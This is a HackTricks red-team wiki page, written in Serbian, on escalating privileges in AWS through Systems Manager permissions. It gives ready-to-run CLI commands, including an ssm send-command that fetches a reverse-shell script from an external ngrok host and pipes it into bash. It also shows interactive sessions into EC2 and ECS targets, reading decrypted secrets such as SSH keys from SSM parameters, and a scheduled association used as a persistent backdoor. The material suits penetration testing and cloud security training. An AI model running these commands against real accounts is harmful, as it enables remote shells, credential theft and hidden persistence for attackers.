AWS - SSM Privesc

Reading time: 6 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

SSM

Za više informacija o SSM, proverite:

AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

ssm:SendCommand

Napadač sa dozvolom ssm:SendCommand može izvršavati komande u instancama koje pokreću Amazon SSM Agent i kompromitovati IAM ulogu koja se izvršava unutar nje.

bash
# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"

U slučaju da koristite ovu tehniku za eskalaciju privilegija unutar već kompromitovane EC2 instance, možete jednostavno uhvatiti rev shell lokalno sa:

bash
# If you are in the machine you can capture the reverseshel inside of it
nc -lvnp 4444 #Inside the EC2 instance
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"

Potencijalni uticaj: Direktno privesc na EC2 IAM uloge povezane sa aktivnim instancama sa SSM agentima.

ssm:StartSession

Napadač sa dozvolom ssm:StartSession može pokrenuti SSH sličnu sesiju u instancama koje pokreću Amazon SSM Agent i kompromitovati IAM ulogu koja se izvršava unutar nje.

bash
# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm start-session --target "$INSTANCE_ID"

caution

Da biste započeli sesiju, potrebno je da imate instaliran SessionManagerPlugin: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html

Potencijalni uticaj: Direktno privesc do EC2 IAM uloga povezanih sa aktivnim instancama sa SSM Agentima.

Privesc do ECS

Kada ECS zadaci rade sa ExecuteCommand omogućenim, korisnici sa dovoljno dozvola mogu koristiti ecs execute-command da izvrše komandu unutar kontejnera.
Prema dokumentaciji, to se postiže kreiranjem sigurnog kanala između uređaja koji koristite za iniciranje komande “exec” i ciljnog kontejnera sa SSM Session Managerom. (SSM Session Manager Plugin je neophodan za ovo)
Stoga, korisnici sa ssm:StartSession moći će da dobiju shell unutar ECS zadataka sa tom opcijom omogućenom jednostavno pokretanjem:

bash
aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"

Potencijalni uticaj: Direktno privesc na ECS IAM uloge povezane sa aktivnim zadacima sa omogućenom ExecuteCommand.

ssm:ResumeSession

Napadač sa dozvolom ssm:ResumeSession može ponovo pokrenuti SSH sličnu sesiju u instancama koje pokreću Amazon SSM Agent sa isključenim stanjem SSM sesije i kompromitovati IAM ulogu koja se izvršava unutar nje.

bash
# Check for configured instances
aws ssm describe-sessions

# Get resume data (you will probably need to do something else with this info to connect)
aws ssm resume-session \
--session-id Mary-Major-07a16060613c408b5

Potencijalni uticaj: Direktno privesc na EC2 IAM uloge povezane sa aktivnim instancama sa SSM agentima i prekinutim sesijama.

ssm:DescribeParameters, (ssm:GetParameter | ssm:GetParameters)

Napadač sa pomenutim dozvolama će moći da prikaže SSM parametre i pročita ih u čistom tekstu. U ovim parametrima često možete pronaći osetljive informacije kao što su SSH ključevi ili API ključevi.

bash
aws ssm describe-parameters
# Suppose that you found a parameter called "id_rsa"
aws ssm get-parameters --names id_rsa --with-decryption
aws ssm get-parameter --name id_rsa --with-decryption

Potencijalni uticaj: Pronaći osetljive informacije unutar parametara.

ssm:ListCommands

Napadač sa ovom dozvolom može da prikaže sve komande koje su poslate i nadati se da će pronaći osetljive informacije u njima.

aws ssm list-commands

Potencijalni uticaj: Pronaći osetljive informacije unutar komandnih linija.

ssm:GetCommandInvocation, (ssm:ListCommandInvocations | ssm:ListCommands)

Napadač sa ovim dozvolama može da prikaže sve komande poslate i pročita izlaz generisan, nadajući se da će pronaći osetljive informacije u njemu.

bash
# You can use any of both options to get the command-id and instance id
aws ssm list-commands
aws ssm list-command-invocations

aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>

Potencijalni uticaj: Pronaći osetljive informacije unutar izlaza komandnih linija.

Korišćenje ssm:CreateAssociation

Napadač sa dozvolom ssm:CreateAssociation može kreirati Asocijaciju menadžera stanja kako bi automatski izvršavao komande na EC2 instancama koje upravlja SSM. Ove asocijacije mogu biti konfigurisane da se izvršavaju u fiksnim intervalima, što ih čini pogodnim za postojanost sličnu zadnjim vratima bez interaktivnih sesija.

bash
aws ssm create-association \
--name SSM-Document-Name \
--targets Key=InstanceIds,Values=target-instance-id \
--parameters commands=["malicious-command"] \
--schedule-expression "rate(30 minutes)" \
--association-name association-name

note

Ova metoda postojanosti funkcioniše sve dok je EC2 instanca upravljana od strane Systems Manager-a, SSM agent radi, i napadač ima dozvolu da kreira asocijacije. Ne zahteva interaktivne sesije ili eksplicitne ssm:SendCommand dozvole. Važno: Parametar --schedule-expression (npr., rate(30 minutes)) mora poštovati minimalni interval AWS-a od 30 minuta. Za trenutnu ili jednokratnu izvršavanje, potpuno izostavite --schedule-expression — asocijacija će se izvršiti jednom nakon kreiranja.

Codebuild

Možete takođe koristiti SSM da uđete u codebuild projekat koji se gradi:

AWS - Codebuild Privesc

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks